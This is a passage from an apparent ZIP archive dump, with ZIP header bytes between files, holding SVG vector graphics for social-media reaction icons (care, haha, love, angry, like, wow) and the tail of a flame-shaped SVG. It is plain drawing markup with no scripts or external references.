    <path d="M94.000,254.812 C58.101,254.812 29.000,225.711 29.000,189.812 C29.000,168.151 37.729,155.000 55.896,137.166 C67.528,125.747 78.415,111.722 83.042,102.172 C83.953,100.292 86.026,90.495 94.019,101.966 C98.212,107.982 104.785,118.681 109.000,127.812 C116.266,143.555 118.000,158.812 118.000,158.812 C118.000,158.812 125.121,154.616 130.000,143.812 C131.573,140.330 134.753,127.148 143.643,140.328 C150.166,150.000 159.127,167.390 159.000,189.812 C159.000,225.711 129.898,254.812 94.000,254.812 Z" id="path-2" class="cls-4" fill-rule="evenodd"/>
    <path d="M95.000,183.812 C104.250,183.812 104.250,200.941 116.000,223.812 C123.824,239.041 112.121,254.812 95.000,254.812 C77.879,254.812 69.000,240.933 69.000,223.812 C69.000,206.692 85.750,183.812 95.000,183.812 Z" id="path-3" class="cls-5" fill-rule="evenodd"/>
  </g>
</svg>PK     N\'  '    images/emotions/care.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" id="care">
  <linearGradient id="a" x1="-2.313" x2="-2.313" y1="19.862" y2="20.738" gradientTransform="matrix(16 0 0 -16 45 333)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#f28a2d"></stop>
    <stop offset="1" stop-color="#fde86f"></stop>
  </linearGradient>
  <path fill="url(#a)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <radialGradient id="b" cx="-2.313" cy="20.313" r=".5" gradientTransform="matrix(16 0 0 -16 45 333)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#f28a2d" stop-opacity="0"></stop>
    <stop offset="1" stop-color="#f08423" stop-opacity=".34"></stop>
  </radialGradient>
  <path fill="url(#b)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <radialGradient id="c" cx="-2.644" cy="20.358" r=".101" gradientTransform="matrix(14.5998 6.5456 5.063 -11.2928 -62.74 255.526)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#f28a2d" stop-opacity=".5"></stop>
    <stop offset="1" stop-color="#f28a2d" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#c)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <radialGradient id="d" cx="-2.227" cy="19.541" r=".283" gradientTransform="matrix(12.5663 -9.904 -3.6032 -4.5717 110.263 79.053)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#f28a2d" stop-opacity=".5"></stop>
    <stop offset="1" stop-color="#f28a2d" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#d)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <radialGradient id="e" cx="-2.531" cy="19.776" r=".107" gradientTransform="matrix(15.7394 -2.8762 -.572 -3.1299 56.242 56.647)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#d45f00" stop-opacity=".15"></stop>
    <stop offset="1" stop-color="#f28a2d" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#e)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <radialGradient id="f" cx="-2.098" cy="20.131" r=".106" gradientTransform="matrix(15.6768 3.1995 .6363 -3.1176 30.972 71.62)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#d45f00" stop-opacity=".15"></stop>
    <stop offset="1" stop-color="#d45f00" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#f)" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd"></path>
  <linearGradient id="g" x1="-1.619" x2="-1.619" y1="18.2" y2="16.681" gradientTransform="matrix(3.4035 0 0 -.9374 13.51 22.37)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#482314"></stop>
    <stop offset="1" stop-color="#9a4111"></stop>
  </linearGradient>
  <path fill="url(#g)" fill-rule="evenodd" d="M9.7 5.9c-.1-.3-3.3-.3-3.4 0-.1.3.6.7 1.7.7s1.8-.4 1.7-.7z" clip-rule="evenodd"></path>
  <radialGradient id="h" cx="-3.9" cy="18.924" r=".872" gradientTransform="matrix(0 -2.1326 -2.1327 0 45.352 -4.046)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#3b446b"></stop>
    <stop offset=".688" stop-color="#202340"></stop>
  </radialGradient>
  <path fill="url(#h)" fill-rule="evenodd" d="M6 4.1c0 .7-.4.9-1 1-.6.1-1.1-.2-1.1-1 0-.6.3-1.4 1.1-1.4.7 0 1 .8 1 1.4z" clip-rule="evenodd"></path>
  <path fill="#4e506a" fill-rule="evenodd" d="M4.9 3.1c.1.1.1.4-.1.5-.1.1-.3.2-.4 0s-.1-.3 0-.5c.2-.1.4-.1.5 0z" clip-rule="evenodd"></path>
  <radialGradient id="i" cx="-3.914" cy="18.924" r=".872" gradientTransform="matrix(0 -2.1326 -2.1327 0 51.366 -4.077)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#3b446b"></stop>
    <stop offset=".688" stop-color="#202340"></stop>
  </radialGradient>
  <path fill="url(#i)" fill-rule="evenodd" d="M10 4.1c0 .7.4.9 1.1 1 .6.1 1.1-.2 1.1-1 0-.6-.3-1.4-1.1-1.4S10 3.5 10 4.1z" clip-rule="evenodd"></path>
  <path fill="#4e506a" fill-rule="evenodd" d="M11 3.1c.1.1 0 .3-.1.5-.1.1-.3.1-.4 0s0-.3.1-.5c.2-.2.3-.2.4 0z" clip-rule="evenodd"></path>
  <radialGradient id="j" cx="-5.202" cy="20.231" r=".298" gradientTransform="matrix(-.339 -1.3177 -6.1081 1.5713 126.811 -36.933)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#e38200"></stop>
    <stop offset="1" stop-color="#cd6700"></stop>
  </radialGradient>
  <path fill="url(#j)" fill-rule="evenodd" d="M3.4 2.1c-.2.2 0 .5.3.4.6-.3 1.8-.6 2.8-.5.3 0 .4 0 .3-.4 0-.3-.4-.5-1.2-.4-1.2.1-2 .7-2.2.9z" clip-rule="evenodd"></path>
  <radialGradient id="k" cx="-4.247" cy="20.267" r=".314" gradientTransform="matrix(.2577 -1.3359 -7.9278 -1.5293 172.702 26.852)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#e38200"></stop>
    <stop offset="1" stop-color="#cd6700"></stop>
  </radialGradient>
  <path fill="url(#k)" fill-rule="evenodd" d="M10.4 1.2c-.8-.1-1.2.1-1.2.4-.1.4 0 .4.3.4 1.1-.1 2.3.2 2.8.5.4.2.5-.2.3-.4s-1-.8-2.2-.9z" clip-rule="evenodd"></path>
  <linearGradient id="l" x1="-2.17" x2="-2.407" y1="20.358" y2="19.647" gradientTransform="matrix(9.7496 0 0 -9.079 27.91 194.578)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#f34462"></stop>
    <stop offset="1" stop-color="#cc0820"></stop>
  </linearGradient>
  <path fill="url(#l)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="m" cx="-1.839" cy="20.363" r=".29" gradientTransform="matrix(8.51 3.1636 3.1637 -8.51 -39.932 190.042)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#ff7091" stop-opacity=".7"></stop>
    <stop offset="1" stop-color="#fe6d8e" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#m)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="n" cx="-2.308" cy="20.509" r=".29" gradientTransform="matrix(8.51 3.1636 3.1637 -8.51 -40.975 191.442)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#ff7091" stop-opacity=".7"></stop>
    <stop offset="1" stop-color="#fe6d8e" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#n)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="o" cx="-2.505" cy="20.75" r=".249" gradientTransform="matrix(-1.8271 8.8932 12.246 2.5158 -254.697 -18.163)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#9c0600"></stop>
    <stop offset="1" stop-color="#9c0600" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#o)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="p" cx="-1.547" cy="20.349" r=".15" gradientTransform="matrix(7.812 4.6261 5.8059 -9.8043 -94.645 218.657)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#9c0600" stop-opacity=".5"></stop>
    <stop offset="1" stop-color="#9c0600" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#p)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="q" cx="-2.763" cy="20.429" r=".13" gradientTransform="matrix(8.5228 -3.1289 -4.0321 -10.983 107.977 224.84)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#9c0600" stop-opacity=".5"></stop>
    <stop offset="1" stop-color="#9c0600" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#q)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <radialGradient id="r" cx="-1.795" cy="20.148" r=".175" gradientTransform="matrix(7.5205 5.0863 5.5088 -8.1451 -88.557 187.152)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#9c0600" stop-opacity=".999"></stop>
    <stop offset="1" stop-color="#9c0600" stop-opacity="0"></stop>
  </radialGradient>
  <path fill="url(#r)" fill-rule="evenodd" d="M9.7 8.5c-2.1-.6-2.8.8-2.8.8S7.1 7.7 5 7c-2-.6-3.2 1.3-3.3 2.4-.2 2.5 2 5.3 2.8 6.3.1.3.4.3.7.3 1.2-.3 4.6-1.4 5.9-3.6.5-1.1.6-3.3-1.4-3.9z" clip-rule="evenodd"></path>
  <defs>
    <filter id="s" width="6.9" height="5.4" x="-.2" y="7.2" filterUnits="userSpaceOnUse">
      <feColorMatrix values="1 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1 0"></feColorMatrix>
    </filter>
  </defs>
  <mask id="u" width="6.9" height="5.4" x="-.2" y="7.2" maskUnits="userSpaceOnUse">
    <path fill="#fff" fill-rule="evenodd" d="M16 8c0 4.4-3.6 8-8 8s-8-3.6-8-8 3.6-8 8-8 8 3.6 8 8z" clip-rule="evenodd" filter="url(#s)"></path>
  </mask>
  <radialGradient id="t" cx="-2.204" cy="20.844" r="1.226" gradientTransform="matrix(4.3582 3.2271 3.227 -4.3582 -57.739 105.424)" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#eda83a"></stop>
    <stop offset="1" stop-color="#ffdc5e"></stop>
  </radialGradient>
  <path fill="url(#t)" fill-rule="evenodd" d="M1.3 7.7c-.5-.5-1.4-.8-1.5.4-.1.9.3 2.5 1.4 3.4 2.8 2.2 5.3 1 5.4-.6.1-1.2-1.4-1.1-1.8-1.1v-.1c.1-.1.3-.2.4-.3.4-.3.2-.8-.3-.7-.1 0-1.3.4-2.1.1-.8-.3-.9-.6-1.5-1.1z" clip-rule="evenodd" mask="url(#u)"></path>
  <radialGradient id="v" cx="15.654" cy="7.737" r="8.846" gradientUnits="userSpaceOnUse">
    <stop offset="0" stop-color="#eda83a"></stop>
    <stop offset="1" stop-color="#ffdc5e"></stop>
  </radialGradient>
  <path fill="url(#v)" d="M14.3 7.8c.3-.6.8-.4 1.1-.3.4.1.7.4.7 1 0 1.5-.2 2.9-1.5 4.3-2.3 2.6-6.2 2.2-6.6.6-.3-1.2 1.1-1.4 1.6-1.4v-.1c-.2-.1-.3-.2-.5-.3-.4-.3-.3-.9.2-.8.6.1 1.4.3 2 .2 1.9-.2 2.2-1.7 3-3.2z"></path>
</svg>
PK     N\T%      images/emotions/haha.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" id="haha">
  <path fill="url(#a)" d="M16 8A8 8 0 1 1-.001 8 8 8 0 0 1 16 8"></path>
  <path fill="url(#b)" d="M3 8.008C3 10.023 4.006 14 8 14c3.993 0 5-3.977 5-5.992C13 7.849 11.39 7 8 7c-3.39 0-5 .849-5 1.008Z"></path>
  <path fill="url(#c)" d="M4.541 12.5c.804.995 1.907 1.5 3.469 1.5 1.563 0 2.655-.505 3.459-1.5-.551-.588-1.599-1.5-3.459-1.5s-2.917.912-3.469 1.5Z"></path>
  <path fill="#2A3755" d="M6.213 4.144c.263.188.502.455.41.788-.071.254-.194.369-.422.37-.78.012-1.708.256-2.506.613-.065.029-.197.088-.332.085-.124-.003-.251-.058-.327-.237-.067-.157-.073-.388.276-.598.545-.33 1.257-.48 1.909-.604-.41-.303-.85-.56-1.315-.768-.427-.194-.38-.457-.323-.6.127-.317.609-.196 1.078.026a9 9 0 0 1 1.552.925Zm3.577 0a8.955 8.955 0 0 1 1.55-.925c.47-.222.95-.343 1.078-.026.057.143.104.406-.323.6a7.028 7.028 0 0 0-1.313.768c.65.123 1.363.274 1.907.604.349.21.342.44.276.598-.077.18-.203.234-.327.237-.135.003-.267-.056-.332-.085-.797-.357-1.725-.6-2.504-.612-.228-.002-.351-.117-.422-.37-.091-.333.147-.6.41-.788v-.001Z"></path>
  <defs>
    <linearGradient id="a" x1="8" x2="8" y1="1.64" y2="16" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FEEA70"></stop>
      <stop offset="1" stop-color="#F69B30"></stop>
    </linearGradient>
    <linearGradient id="b" x1="8" x2="8" y1="7" y2="14" gradientUnits="userSpaceOnUse">
      <stop stop-color="#472315"></stop>
      <stop offset="1" stop-color="#8B3A0E"></stop>
    </linearGradient>
    <linearGradient id="c" x1="8.005" x2="8.005" y1="11" y2="13.457" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FC607C"></stop>
      <stop offset="1" stop-color="#D91F3A"></stop>
    </linearGradient>
  </defs>
</svg>
PK     N\s/<  <    images/emotions/love.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" id="love">
  <path fill="url(#a)" d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0Z"></path>
  <path fill="#fff" d="M10.473 4C8.275 4 8 5.824 8 5.824S7.726 4 5.528 4c-2.114 0-2.73 2.222-2.472 3.41C3.736 10.55 8 12.75 8 12.75s4.265-2.2 4.945-5.34c.257-1.188-.36-3.41-2.472-3.41Z"></path>
  <defs>
    <linearGradient id="a" x1="8" x2="8" y2="16" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF6680"></stop>
      <stop offset="1" stop-color="#E61739"></stop>
    </linearGradient>
  </defs>
</svg>
PK     N\l~  ~    images/emotions/angry.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" id="angry">
  <path fill="url(#a)" d="M16 8A8 8 0 1 1-.001 8 8 8 0 0 1 16 8"></path>
  <path fill="#000" d="M5.2 13.551c0 .528 1.253.444 2.8.444 1.546 0 2.8.084 2.8-.444 0-.636-1.254-1.051-2.8-1.051-1.547 0-2.8.415-2.8 1.051Z" filter="url(#b)"></path>
  <path fill="url(#c)" d="M5.2 13.551c0 .528 1.253.444 2.8.444 1.546 0 2.8.084 2.8-.444 0-.636-1.254-1.051-2.8-1.051-1.547 0-2.8.415-2.8 1.051Z"></path>
  <path fill="url(#d)" d="M3.6 9.831c0-.79.538-1.43 1.2-1.43.663 0 1.2.64 1.2 1.43 0 .33-.093.633-.252.874a.527.527 0 0 1-.318.22c-.15.036-.373.075-.63.075s-.481-.039-.63-.075a.524.524 0 0 1-.318-.22 1.588 1.588 0 0 1-.252-.874Zm6.4 0c0-.79.537-1.43 1.2-1.43.662 0 1.2.64 1.2 1.43 0 .33-.094.633-.252.874a.524.524 0 0 1-.318.22c-.207.05-.418.075-.63.075-.257 0-.48-.039-.63-.075a.53.53 0 0 1-.32-.22 1.596 1.596 0 0 1-.25-.874Z"></path>
  <path fill="#000" d="M3.6 9.831c0-.79.538-1.43 1.2-1.43.663 0 1.2.64 1.2 1.43 0 .33-.093.633-.252.874a.527.527 0 0 1-.318.22c-.15.036-.373.075-.63.075s-.481-.039-.63-.075a.524.524 0 0 1-.318-.22 1.588 1.588 0 0 1-.252-.874Zm6.4 0c0-.79.537-1.43 1.2-1.43.662 0 1.2.64 1.2 1.43 0 .33-.094.633-.252.874a.524.524 0 0 1-.318.22c-.207.05-.418.075-.63.075-.257 0-.48-.039-.63-.075a.53.53 0 0 1-.32-.22 1.596 1.596 0 0 1-.25-.874Z" filter="url(#e)"></path>
  <path fill="#4F4F67" d="M4.968 9.333a.33.33 0 0 1 .007.07c0 .202-.176.367-.394.367-.217 0-.393-.165-.393-.366 0-.083.03-.16.08-.221.224.053.46.104.7.15Zm5.927.437c-.211 0-.383-.153-.393-.348.258-.038.515-.085.765-.136.014.038.021.078.02.119 0 .2-.175.365-.393.365Z"></path>
  <path fill="#000" d="M9 7.6c0-.446.163-.6.445-.6.28 0 .414.276.506 1.066 1.128 0 3.038-.534 3.222-.534.178 0 .277.085.317.267.035.158-.023.308-.221.4-.621.287-2.443.935-3.984.935-.168 0-.285-.086-.285-.301V7.6Zm-2.951.466C6.14 7.276 6.275 7 6.555 7c.282 0 .445.154.445.6v1.233c0 .215-.117.301-.285.301-1.541 0-3.363-.648-3.984-.935-.198-.092-.256-.242-.221-.4.04-.182.14-.267.317-.267.184 0 2.094.534 3.222.534Z" filter="url(#f)"></path>
  <path fill="url(#g)" d="M9 7.6c0-.446.163-.6.445-.6.28 0 .414.276.506 1.066 1.128 0 3.038-.534 3.222-.534.178 0 .277.085.317.267.035.158-.023.308-.221.4-.621.287-2.443.935-3.984.935-.168 0-.285-.086-.285-.301V7.6Zm-2.951.466C6.14 7.276 6.275 7 6.555 7c.282 0 .445.154.445.6v1.233c0 .215-.117.301-.285.301-1.541 0-3.363-.648-3.984-.935-.198-.092-.256-.242-.221-.4.04-.182.14-.267.317-.267.184 0 2.094.534 3.222.534Z"></path>
  <defs>
    <linearGradient id="a" x1="8" x2="8" y2="10.751" gradientUnits="userSpaceOnUse">
      <stop stop-color="#E04300"></stop>
      <stop offset="1" stop-color="#FFA320"></stop>
    </linearGradient>
    <linearGradient id="c" x1="8" x2="8" y1="12.703" y2="14" gradientUnits="userSpaceOnUse">
      <stop stop-color="#3D0D00"></stop>
      <stop offset="1" stop-color="#661C04"></stop>
    </linearGradient>
    <linearGradient id="d" x1="8" x2="8" y1="8.4" y2="11" gradientUnits="userSpaceOnUse">
      <stop stop-color="#191A33"></stop>
      <stop offset=".872" stop-color="#3B426A"></stop>
    </linearGradient>
    <linearGradient id="g" x1="11.615" x2="11.615" y1="9.333" y2="7" gradientUnits="userSpaceOnUse">
      <stop stop-color="#9A2F00"></stop>
      <stop offset="1" stop-color="#D44800"></stop>
    </linearGradient>
    <filter id="b" width="7.6" height="3.5" x="4.2" y="12.5" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse">
      <feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
      <feColorMatrix in="SourceAlpha" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"></feColorMatrix>
      <feOffset dy="1"></feOffset>
      <feGaussianBlur stdDeviation=".5"></feGaussianBlur>
      <feColorMatrix values="0 0 0 0 1 0 0 0 0 0.509681 0 0 0 0 0 0 0 0 0.371207 0"></feColorMatrix>
      <feBlend in2="BackgroundImageFix" result="effect1_dropShadow"></feBlend>
      <feBlend in="SourceGraphic" in2="effect1_dropShadow" result="shape"></feBlend>
    </filter>
    <filter id="e" width="8.8" height="2.6" x="3.6" y="8.4" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse">
      <feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
      <feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"></feBlend>
      <feColorMatrix in="SourceAlpha" result="hardAlpha" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"></feColorMatrix>
      <feOffset></feOffset>
      <feGaussianBlur stdDeviation=".5"></feGaussianBlur>
      <feComposite in2="hardAlpha" k2="-1" k3="1" operator="arithmetic"></feComposite>
      <feColorMatrix values="0 0 0 0 0.0387428 0 0 0 0 0.0406183 0 0 0 0 0.0875053 0 0 0 1 0"></feColorMatrix>
      <feBlend in2="shape" result="effect1_innerShadow"></feBlend>
    </filter>
    <filter id="f" width="11.199" height="2.834" x="2.4" y="7" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse">
      <feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
      <feColorMatrix in="SourceAlpha" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"></feColorMatrix>
      <feOffset dy=".6"></feOffset>
      <feGaussianBlur stdDeviation=".05"></feGaussianBlur>
      <feColorMatrix values="0 0 0 0 0.565875 0 0 0 0 0.151272 0 0 0 0 0 0 0 0 0.15024 0"></feColorMatrix>
      <feBlend in2="BackgroundImageFix" result="effect1_dropShadow"></feBlend>
      <feBlend in="SourceGraphic" in2="effect1_dropShadow" result="shape"></feBlend>
    </filter>
  </defs>
</svg>
PK     N\-]      images/emotions/like.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" id="like">
  <path fill="url(#a)" d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0Z"></path>
  <path fill="#fff" d="M12.162 7.338c.176.123.338.245.338.674 0 .43-.229.604-.474.725.1.163.132.36.089.546-.077.344-.392.611-.672.69.121.194.159.385.015.62-.185.295-.346.407-1.058.407H7.5c-.988 0-1.5-.546-1.5-1V7.665c0-1.23 1.467-2.275 1.467-3.13L7.361 3.47c-.005-.065.008-.224.058-.27.08-.079.301-.2.635-.2.218 0 .363.041.534.123.581.277.732.978.732 1.542 0 .271-.414 1.083-.47 1.364 0 0 .867-.192 1.879-.199 1.061-.006 1.749.19 1.749.842 0 .261-.219.523-.316.666ZM3.6 7h.8a.6.6 0 0 1 .6.6v3.8a.6.6 0 0 1-.6.6h-.8a.6.6 0 0 1-.6-.6V7.6a.6.6 0 0 1 .6-.6Z"></path>
  <defs>
    <linearGradient id="a" x1="8" x2="8" y2="16" gradientUnits="userSpaceOnUse">
      <stop stop-color="#18AFFF"></stop>
      <stop offset="1" stop-color="#0062DF"></stop>
    </linearGradient>
  </defs>
</svg>
PK     N\c	r  r    images/emotions/wow.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none" id="wow">
  <g clip-path="url(#a)">
    <path fill="url(#b)" d="M16 8A8 8 0 1 1-.001 8 8 8 0 0 1 16 8"></path>
    <path fill="url(#c)" d="M5.643 10.888C5.485 12.733 6.37 14 8 14c1.63 0 2.515-1.267 2.357-3.112C10.2 9.042 9.242 8 8 8c-1.242 0-2.2 1.042-2.357 2.888Z"></path>
    <path fill="url(#d)" d="M3.5 5.5c0-.828.559-1.5 1.25-1.5S6 4.672 6 5.5C6 6.329 5.441 7 4.75 7S3.5 6.329 3.5 5.5Zm6.5 0c0-.828.56-1.5 1.25-1.5.691 0 1.25.672 1.25 1.5 0 .829-.559 1.5-1.25 1.5C10.56 7 10 6.329 10 5.5Z"></path>
    <path fill="#000" d="M3.5 5.5c0-.828.559-1.5 1.25-1.5S6 4.672 6 5.5C6 6.329 5.441 7 4.75 7S3.5 6.329 3.5 5.5Zm6.5 0c0-.828.56-1.5 1.25-1.5.691 0 1.25.672 1.25 1.5 0 .829-.559 1.5-1.25 1.5C10.56 7 10 6.329 10 5.5Z" filter="url(#e)"></path>
    <path fill="#4E506A" d="M4.481 4.567c.186.042.29.252.232.47-.057.217-.254.36-.44.317-.186-.042-.29-.252-.232-.47.057-.216.254-.36.44-.317Zm6.659.063c.205.047.321.28.258.52-.064.243-.282.4-.49.354-.205-.046-.322-.28-.258-.52.063-.243.282-.4.49-.354Z"></path>
    <path fill="#000" d="M11.068 1.696c.052-.005.104-.007.157-.007.487 0 .99.204 1.372.562a.368.368 0 0 1-.087.594.344.344 0 0 1-.387-.06c-.275-.26-.656-.4-.992-.37a.8.8 0 0 0-.59.332.346.346 0 0 1-.49.068.368.368 0 0 1-.068-.507 1.49 1.49 0 0 1 1.085-.612Zm-7.665.555c.371-.353.86-.553 1.372-.562a1.49 1.49 0 0 1 1.242.619.369.369 0 0 1-.066.507.347.347 0 0 1-.492-.068.8.8 0 0 0-.59-.331c-.335-.031-.717.11-.992.369a.344.344 0 0 1-.496-.024.368.368 0 0 1 .022-.51Z" filter="url(#f)"></path>
    <path fill="url(#g)" d="M11.068 1.696c.052-.005.104-.007.157-.007.487 0 .99.204 1.372.562a.368.368 0 0 1-.087.594.344.344 0 0 1-.387-.06c-.275-.26-.656-.4-.992-.37a.8.8 0 0 0-.59.332.346.346 0 0 1-.49.068.368.368 0 0 1-.068-.507 1.49 1.49 0 0 1 1.085-.612Zm-7.665.555c.371-.353.86-.553 1.372-.562a1.49 1.49 0 0 1 1.242.619.369.369 0 0 1-.066.507.347.347 0 0 1-.492-.068.8.8 0 0 0-.59-.331c-.335-.031-.717.11-.992.369a.344.344 0 0 1-.496-.024.368.368 0 0 1 .022-.51Z"></path>
  </g>
  <defs>
    <linearGradient id="b" x1="8" x2="8" y1="1.64" y2="16" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FEEA70"></stop>
      <stop offset="1" stop-color="#F69B30"></stop>
    </linearGradient>
    <linearGradient id="c" x1="8" x2="8" y1="8" y2="14" gradientUnits="userSpaceOnUse">
      <stop stop-color="#472315"></stop>
      <stop offset="1" stop-color="#8B3A0E"></stop>
    </linearGradient>
    <linearGradient id="d" x1="8" x2="8" y1="4" y2="7" gradientUnits="userSpaceOnUse">
      <stop stop-color="#191A33"></stop>
      <stop offset=".872" stop-color="#3B426A"></stop>
    </linearGradient>
    <linearGradient id="g" x1="8" x2="8" y1="1.688" y2="2.888" gradientUnits="userSpaceOnUse">
      <stop stop-color="#E78E0D"></stop>
      <stop offset="1" stop-color="#CB6000"></stop>
    </linearGradient>
    <filter id="e" width="9" height="3" x="3.5" y="4" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse">
      <feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
      <feBlend in="SourceGraphic" in2="BackgroundImageFix" result="shape"></feBlend>
      <feColorMatrix in="SourceAlpha" result="hardAlpha" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"></feColorMatrix>
      <feOffset></feOffset>
      <feGaussianBlur stdDeviation=".5"></feGaussianBlur>
      <feComposite in2="hardAlpha" k2="-1" k3="1" operator="arithmetic"></feComposite>
      <feColorMatrix values="0 0 0 0 0.0980392 0 0 0 0 0.101961 0 0 0 0 0.2 0 0 0 0.819684 0"></feColorMatrix>
      <feBlend in2="shape" result="effect1_innerShadow"></feBlend>
    </filter>
    <filter id="f" width="15.422" height="7.199" x=".289" y="-.312" color-interpolation-filters="sRGB" filterUnits="userSpaceOnUse">
      <feFlood flood-opacity="0" result="BackgroundImageFix"></feFlood>
      <feColorMatrix in="SourceAlpha" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0"></feColorMatrix>
      <feOffset dy="1"></feOffset>
      <feGaussianBlur stdDeviation="1.5"></feGaussianBlur>
      <feColorMatrix values="0 0 0 0 0.803922 0 0 0 0 0.388235 0 0 0 0 0.00392157 0 0 0 0.145679 0"></feColorMatrix>
      <feBlend in2="BackgroundImageFix" result="effect1_dropShadow"></feBlend>
      <feBlend in="SourceGraphic" in2="effect1_dropShadow" result="shape"></feBlend>
    </filter>
    <clipPath id="a">
      <path fill="#fff" d="M0 0h16v16H0z"></path>
    </clipPath>
  </defs>
</svg>
